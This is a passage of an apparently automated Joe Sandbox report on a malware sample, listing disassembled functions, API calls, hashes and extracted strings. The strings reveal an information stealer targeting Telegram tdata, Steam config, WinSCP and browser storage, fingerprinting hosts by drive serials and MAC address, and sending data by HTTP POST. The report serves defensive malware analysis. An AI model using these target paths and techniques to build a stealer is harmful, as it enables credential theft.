HeapFree.KERNEL32(00000000,?), ref: 025A1840
HeapFree.KERNEL32(00000000,?), ref: 025A1A0F
HeapFree.KERNEL32(00000000,?), ref: 025A1AA5
HeapFree.KERNEL32(00000000,-0000000C), ref: 025A1B12
HeapFree.KERNEL32(00000000,?), ref: 025A254D

Part of subcall function 025617D0: HeapFree.KERNEL32(00000000,?), ref: 02561998

HeapFree.KERNEL32(00000000,?), ref: 025A23D7
HeapFree.KERNEL32(00000000,?), ref: 025A2413
HeapFree.KERNEL32(00000000,?), ref: 025A2432
HeapFree.KERNEL32(00000000,?), ref: 025A244B
HeapFree.KERNEL32(00000000,?), ref: 025A246A
HeapFree.KERNEL32(00000000,?), ref: 025A2483
HeapFree.KERNEL32(00000000,?), ref: 025A24C5
CloseHandle.KERNEL32(?), ref: 025A24D3
HeapFree.KERNEL32(00000000,?), ref: 025A2504
HeapFree.KERNEL32(00000000,?), ref: 025A2572
HeapFree.KERNEL32(00000000,?), ref: 025A2591
HeapFree.KERNEL32(00000000,?), ref: 025A25AA

Strings

l, xrefs: 025A20FF
APPDATA, xrefs: 025A0245, 025A048A, 025A0734, 025A112D, 025A1408, 025A15A1
q, xrefs: 025A20F4
s, xrefs: 025A20E9
Invalid, xrefs: 025A043F, 025A0446, 025A068B, 025A0692, 025A0DD5, 025A13D3, 025A13DA, 025A156C, 025A1573, 025A232A, 025A2331, 025A23B1, 025A23B8
e, xrefs: 025A1ED3

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID: APPDATA$Invalid$e$l$q$s
API String ID: 1910495013-1432503283
Opcode ID: 528228734ed69470e5e45471a5ffb7bb00cfa8aca8135adfa56b2f329fa2d30a
Instruction ID: 69b6be6b611e0f3474e2447873f1719819089ad9d67aff003e9a42e497ccb7f2
Opcode Fuzzy Hash: 528228734ed69470e5e45471a5ffb7bb00cfa8aca8135adfa56b2f329fa2d30a
Instruction Fuzzy Hash: 3C2345B09087818FD735CF18C491B9BBBE6BFD9304F14891DE98987290E771A985CF86

Uniqueness

Uniqueness Score: -1.00%

Function 0258C38E Relevance: 68.9, APIs: 37, Strings: 8, Instructions: 1390memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 0258C4D3
HeapFree.KERNEL32(00000000,?), ref: 0258C4F2
HeapFree.KERNEL32(00000000,?), ref: 0258C866
HeapFree.KERNEL32(00000000,?), ref: 0258C988
HeapFree.KERNEL32(00000000,?), ref: 0258CAAA
HeapFree.KERNEL32(00000000,?), ref: 0258CAD6
HeapFree.KERNEL32(00000000,?), ref: 0258CAF6
HeapFree.KERNEL32(00000000,?), ref: 0258CBE7
HeapFree.KERNEL32(00000000,?), ref: 0258CC06
HeapFree.KERNEL32(00000000,?), ref: 0258CC21
HeapFree.KERNEL32(00000000,?), ref: 0258CC36
HeapFree.KERNEL32(00000000,?), ref: 0258CC4B
HeapFree.KERNEL32(00000000,?), ref: 0258CC60
HeapFree.KERNEL32(00000000,?), ref: 0258CCB2
HeapFree.KERNEL32(00000000,?), ref: 0258CCD1
HeapFree.KERNEL32(00000000), ref: 0258CD82
HeapFree.KERNEL32(00000000,?), ref: 0258CDA0
HeapFree.KERNEL32(00000000,?), ref: 0258D092
HeapFree.KERNEL32(00000000,?), ref: 0258D3DB
HeapFree.KERNEL32(00000000,?), ref: 0258D46F
HeapFree.KERNEL32(00000000,?), ref: 0258D488

Part of subcall function 0257FB9E: HeapFree.KERNEL32(00000000,?), ref: 0257FBD0
Part of subcall function 0257FB9E: HeapFree.KERNEL32(00000000,00000000), ref: 0257FBDF

HeapFree.KERNEL32(00000000,?), ref: 0258D713
HeapFree.KERNEL32(00000000,?), ref: 0258CE30

Part of subcall function 02596AA8: HeapFree.KERNEL32(00000000,?), ref: 02596AD5
Part of subcall function 02596AA8: HeapFree.KERNEL32(00000000,00000001), ref: 02596AE4

HeapFree.KERNEL32(00000000,?), ref: 0258CE49
HeapFree.KERNEL32(00000000,0257CDE7), ref: 0258D126
HeapFree.KERNEL32(00000000,?), ref: 0258D13F
HeapFree.KERNEL32(00000000,?), ref: 0258D232
HeapFree.KERNEL32(00000000,?), ref: 0258D24B
HeapFree.KERNEL32(00000000,?), ref: 0258D268

Part of subcall function 025CA3F0: HeapFree.KERNEL32(00000000,00000000), ref: 025CA5D0
Part of subcall function 025CA3F0: HeapFree.KERNEL32(00000000,?), ref: 025CA5E1

HeapFree.KERNEL32(00000000,?), ref: 0258D77E

Part of subcall function 025617D0: HeapFree.KERNEL32(00000000,?), ref: 02561998

Part of subcall function 025CA3F0: HeapFree.KERNEL32(00000000,00000000), ref: 025CA615
Part of subcall function 025CA3F0: HeapFree.KERNEL32(00000000,?), ref: 025CA626

HeapFree.KERNEL32(00000000,?), ref: 0258D7EE
HeapFree.KERNEL32(00000000,?), ref: 0258D80B
HeapFree.KERNEL32(00000000,?), ref: 0258D82A
HeapFree.KERNEL32(00000000,00000000), ref: 0258D8F5
HeapFree.KERNEL32(00000000,?), ref: 0258D987
HeapFree.KERNEL32(00000000,?), ref: 0258D9A4
HeapFree.KERNEL32(00000000,?), ref: 0258D9C2

Strings

c\winscp.rs, xrefs: 0258D684
C:\Program Files (x86)\SteamC:\Program Files (x86)\Steam\config\Telegram Desktop\tdata, xrefs: 0258D497, 0258D524
APPDATA, xrefs: 0258C501, 0258CE58, 0258D277, 0258D60C
grBH, xrefs: 0258C9BB
Invalid, xrefs: 0258CE0D, 0258CE14, 0258D103, 0258D10A, 0258D1F9, 0258D218, 0258D44C, 0258D453, 0258D534, 0258D53B, 0258D5F0, 0258D5F7
a Display implementation returned an error unexpectedly, xrefs: 0258D9E8
), xrefs: 0258C453
!, xrefs: 0258D51C

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID: !$)$APPDATA$C:\Program Files (x86)\SteamC:\Program Files (x86)\Steam\config\Telegram Desktop\tdata$Invalid$a Display implementation returned an error unexpectedly$c\winscp.rs$grBH
API String ID: 3298025750-3594040642
Opcode ID: 3a8e526219bccd3efbb93d47a7ce88ccd429db6fbb7fad953872aaba3135cd76
Instruction ID: 831f6e0786884bc4684cac80cf49df6196d1d1a2643041c40af7687212981086
Opcode Fuzzy Hash: 3a8e526219bccd3efbb93d47a7ce88ccd429db6fbb7fad953872aaba3135cd76
Instruction Fuzzy Hash: 2ED229719083419FD725DF24C484BAAFBE2BFC8304F14891DE98997290D7B1A999CF86

Uniqueness

Uniqueness Score: -1.00%

Function 0257B695 Relevance: 54.8, APIs: 26, Strings: 10, Instructions: 759memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 0257B78C
GetLastError.KERNEL32 ref: 0257BA1A
HeapFree.KERNEL32(00000000,?), ref: 0257BFD4
HeapFree.KERNEL32(00000000,?), ref: 0257BFED
HeapFree.KERNEL32(00000000,?), ref: 0257C006
HeapFree.KERNEL32(00000000,?), ref: 0257C01F
HeapFree.KERNEL32(00000000,?), ref: 0257C038
GetLastError.KERNEL32 ref: 0257C05E
HeapFree.KERNEL32(00000000,?), ref: 0257C091
HeapFree.KERNEL32(00000000,00000000), ref: 0257C0BF
HeapFree.KERNEL32(00000000,?), ref: 0257C124
GetLastError.KERNEL32 ref: 0257C15C
GetLastError.KERNEL32(?,?,00000000), ref: 0257C1A7
HeapFree.KERNEL32(00000000,?,?,?,00000000), ref: 0257C1D6
HeapFree.KERNEL32(00000000,00000001), ref: 0257C1F9

Strings

http, xrefs: 0257BA3F
s://, xrefs: 0257BB09
s://, xrefs: 0257BA4A
`async fn` resumed after completion, xrefs: 0257C204, 0257C218
ptth, xrefs: 0257BA62
//:p, xrefs: 0257BA7E
http, xrefs: 0257BB00
POSTHTTP/1.1Content-Type: application/json, xrefs: 0257BB8B
//:p, xrefs: 0257BA77
ptth, xrefs: 0257BA67

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$ErrorLast
String ID: //:p$//:p$POSTHTTP/1.1Content-Type: application/json$`async fn` resumed after completion$http$http$ptth$ptth$s://$s://
API String ID: 2332451156-3283316195
Opcode ID: 468b8f51c6c53aa3256e8df472c3ca9eb2a9b8aeae178165e9414778f5a5f47e
Instruction ID: f8776de0e1102f034bcf117bdfffd35d8ef3c2e472af959d056bcdd2d1e78f9e
Opcode Fuzzy Hash: 468b8f51c6c53aa3256e8df472c3ca9eb2a9b8aeae178165e9414778f5a5f47e
Instruction Fuzzy Hash: AC629F70644342DFD765CF24D844BAABBE1BF84308F04892DE988DB291EB31D895CF96

Uniqueness

Uniqueness Score: -1.00%

Function 025B72D7 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 615memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 025B83FC
HeapFree.KERNEL32(00000000,?), ref: 025B8BF6
HeapFree.KERNEL32(00000000,?), ref: 025B9082
HeapFree.KERNEL32(00000000,?), ref: 025B9147

Strings

assertion failed: output_position <= output.len(), xrefs: 025B9316
assertion failed: step != 0, xrefs: 025B93BC
called `Result::unwrap()` on an `Err` value, xrefs: 025B9412
Invalid, xrefs: 025B92CA, 025B9389

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID: Invalid$assertion failed: output_position <= output.len()$assertion failed: step != 0$called `Result::unwrap()` on an `Err` value
API String ID: 3298025750-1422663253
Opcode ID: c08e4f8ddb0fcb41c58042be634559c60decc6de5cc2fe229be292bb6c3eac54
Instruction ID: 937af9f630f861c76d1c22b4cacb41437cbb8b01ca02bd09c0797b47175fc7ef
Opcode Fuzzy Hash: c08e4f8ddb0fcb41c58042be634559c60decc6de5cc2fe229be292bb6c3eac54
Instruction Fuzzy Hash: 3B42B171A083419FD726DF24C480A9BFBE6BFC9304F14895EE58A97291D770E845CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0040A130 Relevance: 24.7, APIs: 7, Strings: 7, Instructions: 223comCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,00446FF0,?), ref: 0040A15F
CoCreateInstance.OLE32(00437030,00000000,00000001,00437040,?), ref: 0040A183
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000006,00000003,00000000,00000020), ref: 0040A1BF

Strings

SELECT SerialNumber FROM Win32_PhysicalMedia WHERE TAG='\\\\.\\PHYSICALDRIVE3', xrefs: 0040A209
SELECT SerialNumber FROM Win32_PhysicalMedia WHERE TAG='\\\\.\\PHYSICALDRIVE1', xrefs: 0040A1E3
SELECT SerialNumber FROM Win32_PhysicalMedia WHERE TAG='\\\\.\\PHYSICALDRIVE0', xrefs: 0040A1D0
WQL, xrefs: 0040A213
SELECT SerialNumber FROM Win32_PhysicalMedia WHERE TAG='\\\\.\\PHYSICALDRIVE2', xrefs: 0040A1F6
ROOT\CIMV2, xrefs: 0040A1A0
SerialNumber, xrefs: 0040A26B

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: BlanketCreateInstanceProxyVersion
String ID: ROOT\CIMV2$SELECT SerialNumber FROM Win32_PhysicalMedia WHERE TAG='\\\\.\\PHYSICALDRIVE0'$SELECT SerialNumber FROM Win32_PhysicalMedia WHERE TAG='\\\\.\\PHYSICALDRIVE1'$SELECT SerialNumber FROM Win32_PhysicalMedia WHERE TAG='\\\\.\\PHYSICALDRIVE2'$SELECT SerialNumber FROM Win32_PhysicalMedia WHERE TAG='\\\\.\\PHYSICALDRIVE3'$SerialNumber$WQL
API String ID: 4052488553-668480656
Opcode ID: 2f43b8abd95bdce89a6337ee62f48717bf7de744291fe96b5a40e21d1573a07e
Instruction ID: f8abb40f569aaa07a23fa9f41c399833c975962cf1a17763c5e18912e3785d52
Opcode Fuzzy Hash: 2f43b8abd95bdce89a6337ee62f48717bf7de744291fe96b5a40e21d1573a07e
Instruction Fuzzy Hash: 00718C71640318ABCB20DF95CC48EEE3BB9FF49B54F20056AF919D7290C3799845CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 02577754 Relevance: 21.5, APIs: 13, Strings: 1, Instructions: 485memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 02578000
HeapFree.KERNEL32(00000000,?), ref: 02578019

Part of subcall function 025C6A20: SetLastError.KERNEL32(00000000), ref: 025C6AE3
Part of subcall function 025C6A20: GetLastError.KERNEL32 ref: 025C6AF8
Part of subcall function 025C6A20: GetLastError.KERNEL32 ref: 025C6B0A
Part of subcall function 025C6A20: HeapFree.KERNEL32(00000000,00000002), ref: 025C6B80

HeapFree.KERNEL32(00000000,?), ref: 02578508
HeapFree.KERNEL32(00000000,?), ref: 0257858A
HeapFree.KERNEL32(00000000,?), ref: 025785DC
HeapFree.KERNEL32(00000000,?), ref: 025786AF
HeapFree.KERNEL32(00000000,?), ref: 025786CC

Strings

`async fn` resumed after completion, xrefs: 02577E52, 02577E66

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$ErrorLast
String ID: `async fn` resumed after completion
API String ID: 2332451156-507674517
Opcode ID: cfa46201193adb776f493bcbb43c7011bef27aecd89b113c212518ba097d8b2e
Instruction ID: 2b8454c5b78f2dd40dcbfedcea92cb83bcda5a728af3faad39df0aedf03a157b
Opcode Fuzzy Hash: cfa46201193adb776f493bcbb43c7011bef27aecd89b113c212518ba097d8b2e
Instruction Fuzzy Hash: 8F32D170A44742DFD725CF24C884BAAFBE2BF89304F04862DD59C9B251DB70A854DF96

Uniqueness

Uniqueness Score: -1.00%

Function 025C02D0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 272filenativesynchronizationCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 025C0307
GetLastError.KERNEL32 ref: 025C0316
GetConsoleMode.KERNEL32(00000000,?), ref: 025C0354
NtWriteFile.NTDLL ref: 025C03DF
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 025C03EF
RtlNtStatusToDosError.NTDLL ref: 025C0472
CloseHandle.KERNEL32(00000000), ref: 025C067A

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 025C0634
Invalid, xrefs: 025C059B

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: ErrorHandle$CloseConsoleFileLastModeObjectSingleStatusWaitWrite
String ID: Invalid$called `Result::unwrap()` on an `Err` value
API String ID: 3090192319-3400594596
Opcode ID: c6afcc8765b6eb20b382de2fe1646282240d89365e3df07ce24e392624448a11
Instruction ID: b57f3a1bf8fcad6775563a3b5b27c007c1248198da6c0b3c2c6692914da113eb
Opcode Fuzzy Hash: c6afcc8765b6eb20b382de2fe1646282240d89365e3df07ce24e392624448a11
Instruction Fuzzy Hash: C3B18DB0A04249DFDF10CFA4C8847EEBFB5BF44704F24841DE856AB281E775A989CB65

Uniqueness

Uniqueness Score: -1.00%

Function 025A3224 Relevance: 12.7, APIs: 4, Strings: 4, Instructions: 704COMMON

Download Yara Rule

Strings

nown, xrefs: 025A435E
top\Local Storage\, xrefs: 025A330E
;rn, xrefs: 025A3F92
cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs, xrefs: 025A4515

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID: cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs$nown$top\Local Storage\$;rn
API String ID: 0-1636215252
Opcode ID: 15458addc6cc74e10d8e99bbe1a9ba6def92089331e69ccdb99d4a0f8679d0ad
Instruction ID: f3ef5603ee451fbe31cbe8849a4a575d9d89ff371bacf8974102e971737d1af8
Opcode Fuzzy Hash: 15458addc6cc74e10d8e99bbe1a9ba6def92089331e69ccdb99d4a0f8679d0ad
Instruction Fuzzy Hash: 72627A71908382CFD724CF28C49179AFBE1BFC9304F158A6EE89997351DB70A945CB86

Uniqueness

Uniqueness Score: -1.00%

Function 025CF340 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 418COMMON

Download Yara Rule

APIs

Part of subcall function 025C0C80: TlsGetValue.KERNEL32(00000000,?,025CF3A0), ref: 025C0C90

AcquireSRWLockShared.KERNEL32(02620AF4), ref: 025CF3FE
ReleaseSRWLockShared.KERNEL32(02620AF4), ref: 025CF5A2
ReleaseSRWLockExclusive.KERNEL32(?), ref: 025CF7F0

Part of subcall function 025BF580: HeapFree.KERNEL32(00000000,00000000,?,025CF991), ref: 025BF59C
Part of subcall function 025BF580: HeapFree.KERNEL32(00000000,?,?,025CF991), ref: 025BF5B6

Strings

Invalid, xrefs: 025CF3D4, 025CF6C6, 025CF895, 025CF935
Box<dyn Any><unnamed>, xrefs: 025CF760
cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs, xrefs: 025CF3A7, 025CF5CA, 025CF60A, 025CF739, 025CF831

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: Lock$FreeHeapReleaseShared$AcquireExclusiveValue
String ID: Box<dyn Any><unnamed>$Invalid$cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs
API String ID: 1439667220-2178555723
Opcode ID: 1e17261340cd820c7bca7fd5caa5fa59d2bec53525ba24ef7e867814adf92444
Instruction ID: 16c31f649e209e0fe7334d6413f17862af8d2de961258428bc58fceaccf30149
Opcode Fuzzy Hash: 1e17261340cd820c7bca7fd5caa5fa59d2bec53525ba24ef7e867814adf92444
Instruction Fuzzy Hash: 880253B0504B418FE734CF65C584753BBE2BB45308F24891ED89A87B82E7B6F448CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 025C0690 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00001000,?,?,FFFFFFFF,?,025C04CA,?,?), ref: 025C06FA
WriteConsoleW.KERNEL32(?,?,00000000,00000000,00000000,?,?,FFFFFFFF,?,025C04CA,?), ref: 025C0727
WriteConsoleW.KERNEL32(?,?,00000001,?,00000000,?,?,00000000,00000000,00000000,?,?,FFFFFFFF,?,025C04CA,?), ref: 025C0775
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?,FFFFFFFF,?,025C04CA,?), ref: 025C0993

Strings

Invalid, xrefs: 025C0A03, 025C0A59
error_len, xrefs: 025C0A4F

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: ConsoleWrite$ByteCharErrorLastMultiWide
String ID: Invalid$error_len
API String ID: 3036337926-3343129532
Opcode ID: 7932a7986847aa983057a8fbaf68b44f35c52c60a6344a4e009c62235e45fccc
Instruction ID: dabf49042b6ec4b89ce32cd2daa69b61abfa8041e1ba5291d6e5b8cd77c7be51
Opcode Fuzzy Hash: 7932a7986847aa983057a8fbaf68b44f35c52c60a6344a4e009c62235e45fccc
Instruction Fuzzy Hash: 739177759193418EE3169A39D442776B794BFE6384F14CB2EFED4B32C1FB31A4899208

Uniqueness

Uniqueness Score: -1.00%

Function 00402D69 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(iphlpapi.dll,00000000,?,?,00403AB3,00000000,00000000,00000000,00000032), ref: 00402D7B
FreeLibrary.KERNEL32(00000000,?,?,00403AB3,00000000,00000000,00000000,00000032), ref: 00402D90
GetAdaptersInfo.IPHLPAPI(?), ref: 00402DB3

Strings

(1D, xrefs: 00402DB8
%02X-%02X-%02X-%02X-%02X-%02X, xrefs: 00402E00
iphlpapi.dll, xrefs: 00402D76

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Library$AdaptersFreeInfoLoad
String ID: %02X-%02X-%02X-%02X-%02X-%02X$(1D$iphlpapi.dll
API String ID: 2815801046-1156694461
Opcode ID: 667fbff6e5fb93a3dbdba40f8899a0c99632f19625a976099da760c66a306bb6
Instruction ID: 0f46a71ea7f385b85266391789cee45fc69f055f165f50e350831578ad950e10
Opcode Fuzzy Hash: 667fbff6e5fb93a3dbdba40f8899a0c99632f19625a976099da760c66a306bb6
Instruction Fuzzy Hash: 092127B1910160AECB169BA4DD58DFE7BB8AF09704F1006BFF015F21E1C7BC89008769

Uniqueness

Uniqueness Score: -1.00%

Function 00427361 Relevance: 12.1, APIs: 8, Instructions: 88stringfileCOMMON

Download Yara Rule

APIs

GetFullPathNameA.KERNEL32(?,00000104,?,?,?), ref: 0042738F
lstrcpynA.KERNEL32(?,?,00000104), ref: 0042739E
PathIsUNCA.SHLWAPI(?,?,?), ref: 004273D1
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 004273E9
CharUpperA.USER32(?), ref: 004273FA
FindFirstFileA.KERNEL32(?,?), ref: 00427410
FindClose.KERNEL32(00000000), ref: 0042741C
lstrcpyA.KERNEL32(?,?), ref: 0042742C

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FindPath$CharCloseFileFirstFullInformationNameUpperVolumelstrcpylstrcpyn
String ID:
API String ID: 4238114063-0
Opcode ID: d785ae596bc36cb49a6f511f2bb699120d703fbd36700d512b5beef6b0218590
Instruction ID: ccc9f5d38c50f98e637bc9214232b1860236d421002e11859fbdac53a034a38f
Opcode Fuzzy Hash: d785ae596bc36cb49a6f511f2bb699120d703fbd36700d512b5beef6b0218590
Instruction Fuzzy Hash: 48316171600128ABCB10EF61EC48AEFBF78FF49354F908576F909D6151D7349A45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 02566320 Relevance: 10.9, Strings: 8, Instructions: 875COMMON

Download Yara Rule

Strings

assertion failed: d.minus > 0, xrefs: 025655FB, 02566E3D
assertion failed: d.mant + d.plus < (1 << 61), xrefs: 02566E8D
attempt to divide by zero, xrefs: 0256689D
assertion failed: d.plus > 0, xrefs: 0256560F, 02566E51
assertion failed: d.mant.checked_add(d.plus).is_some(), xrefs: 02565623, 02566E65
assertion failed: d.mant > 0, xrefs: 025655E7, 02566E29
assertion failed: d.mant.checked_sub(d.minus).is_some(), xrefs: 02565637, 02566E79
assertion failed: edelta >= 0library\core\src\num\diy_float.rs, xrefs: 02566EA1

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID: assertion failed: d.mant + d.plus < (1 << 61)$assertion failed: d.mant > 0$assertion failed: d.mant.checked_add(d.plus).is_some()$assertion failed: d.mant.checked_sub(d.minus).is_some()$assertion failed: d.minus > 0$assertion failed: d.plus > 0$assertion failed: edelta >= 0library\core\src\num\diy_float.rs$attempt to divide by zero
API String ID: 0-4042176451
Opcode ID: 78b580b8b07ee46674d64509a635b7dcdc570486e0dea744102eb26dbb48e890
Instruction ID: 0e11976b6b3a0f3b43979067b849d5bd75e70fee85a35e947c8874cd3536d5e5
Opcode Fuzzy Hash: 78b580b8b07ee46674d64509a635b7dcdc570486e0dea744102eb26dbb48e890
Instruction Fuzzy Hash: 8C722671A083519FD708CF29C48061AFBE6BFC8754F158A2EF899A7354D734EC498B86

Uniqueness

Uniqueness Score: -1.00%

Function 0040A44A Relevance: 10.6, APIs: 7, Instructions: 86fileCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000100), ref: 0040A465
SetPriorityClass.KERNEL32(00000000), ref: 0040A46C
CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,04000000,00000000), ref: 0040A4A0
DeviceIoControl.KERNEL32(00000000,00000001,00000000,00000000,?,00000004,?,00000000), ref: 0040A4C5
CloseHandle.KERNEL32(00000000), ref: 0040A4CC
GetCurrentProcess.KERNEL32(00000020), ref: 0040A52C
SetPriorityClass.KERNEL32(00000000), ref: 0040A533

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
